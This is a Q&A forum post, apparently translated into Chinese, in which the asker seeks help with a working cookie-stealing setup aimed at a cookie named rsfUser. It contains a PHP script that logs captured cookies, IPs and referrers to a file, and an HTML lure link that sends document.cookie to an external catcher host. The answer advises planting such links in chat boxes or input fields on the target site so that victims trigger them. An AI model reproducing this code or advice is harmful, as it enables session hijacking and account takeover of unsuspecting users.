所以我试图做一个cookie捕手并设法在我的网站上设置这个代码。问题是代码存储来自我的网站的cookie而不是我请求的cookie。我需要的cookie叫做rsfUser,这里是代码:
<?php
$cookie = $_GET['c'];
$date=date("j F, Y, g:i a");;
$referer = getenv('HTTP_REFERER');
$fp = fopen('cookies.php', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br /> IP: '.$ip. '<br /> Date and time: ' .$date.'<br /> Referer: ' .$referer.'<br /><br />');
fclose($fp);
header ("Location: http://www.wikihow.com/Main-Page/");
?>
我试图让人们点击的代码是:
<a onclick="document.location='http://example.example.net/cookiecatcher.php?cookie='+escape(document.cookie);" href="#"> click here </a>
存储的cookie是我站点中的cookie而不是我请求的cookie。 我究竟做错了什么?我该如何解决?
答案 0 :(得分:0)
我相信您必须从您希望将Cookie保存到的网站定向到您的网站,而不是相反。还有一些浏览器不会让你存储某人的cookie。
您可以通过链接到聊天框内的网站或其他网站的输入字段来实现此目的。